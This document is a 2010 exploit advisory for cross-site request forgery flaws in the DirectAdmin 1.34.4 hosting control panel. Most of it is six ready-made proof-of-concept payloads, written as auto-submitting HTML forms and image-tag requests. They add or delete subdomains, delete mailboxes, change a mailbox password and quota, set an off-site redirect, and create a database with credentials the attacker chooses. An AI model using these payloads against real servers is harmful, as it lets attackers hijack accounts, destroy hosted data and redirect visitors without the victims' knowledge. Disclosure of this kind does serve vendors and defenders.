=============================================================================# Title : Multi CSRF vulnerability in DirectAdmin (1.34.4) # Date : 20-3-2010# Version : 1.34.4# Author : K053 [K053.Dev0te3 _AT_ gmail]# Tested on : Ubuntu# Vendor : http://www.directadmin.com/# Download : http://www.directadmin.com/demo.html=============================================================================# info : DirectAdmin is a graphical web-based web hosting control panel
designed to make administration of websites easier.----------------------------------------------------------------------------->> Here I have listed some poc , maybe you find more ;)-----------------------------------------------------------------------------# poc 1: Add Subdomain | -------------------------<html><title>Add subdomain</title><form name="info" action="http://address:port/CMD_SUBDOMAIN" method="post"><inputtype=hidden name=domain value="domain_name"><inputtype=hidden name=action value="create"><inputtype=hidden name=subdomain value="test"><inputtype="hidden" value="Submit"><body onload="document.forms.info.submit();"></html>-----------------------------------------------------------------------------# poc 2 : Delete Subdomain |---------------------------<html><title>Delete subdomain</title><form name="del" action="http://address:port/CMD_SUBDOMAIN" method="post"><inputtype=hidden name=domain value="domain_name"><inputtype=hidden name=action value="delete"><inputtype=hidden name=contents value="yes"><inputtype=hidden name=[selectX] value="subdomain_name"><inputtype="hidden" value="Submit"><body onload="document.forms.del.submit();"></html>
Note : You msut set proper name stead selectx,for example if test subdomain
is at number 2inlist, should set it select1.-----------------------------------------------------------------------------# poc 3 : Delete Email|---------------------------<html><title>Delete Email</title><form name="del" action="http://address:port/CMD_EMAIL_POP" method="post"><inputtype=hidden name=domain value="domain_name"><inputtype=hidden name=action value="delete"><inputtype=hidden name=selectx value="put_mail"><inputtype="hidden" value="Submit"><body onload="document.forms.del.submit();"></html>
Note : You msut set proper name stead selectx,for example if test Mail is at
number 2inlist, should set it select1.-----------------------------------------------------------------------------# poc 4 : Change Email Configuration |-----------------------------------<img src=http://address:port/CMD_EMAIL_POP?action=modify&domain=domain_name&user
=username&newuser=username&passwd=mypasswd&passwd2=mypasswd"a=0&update=Modify>
Note : Able to Cahnge quota, password & Name
-----------------------------------------------------------------------------# poc 5 : Set Redirection|----------------------------<img src=http://address:port/CMD_REDIRECT?domain=domain_name&action=add
&from=%2F&type=301&to=http://google.com
Note : Change from value if you want set redirection for specific direction.-----------------------------------------------------------------------------# poc 6 : Add Database |--------------------------<img src=http://address:port/CMD_DB?action=create&domain=domain_name&name=b0f
&user=b0f&passwd=frenzy&passwd2=frenzy&create=Create>-----------------------------------------------------------------------------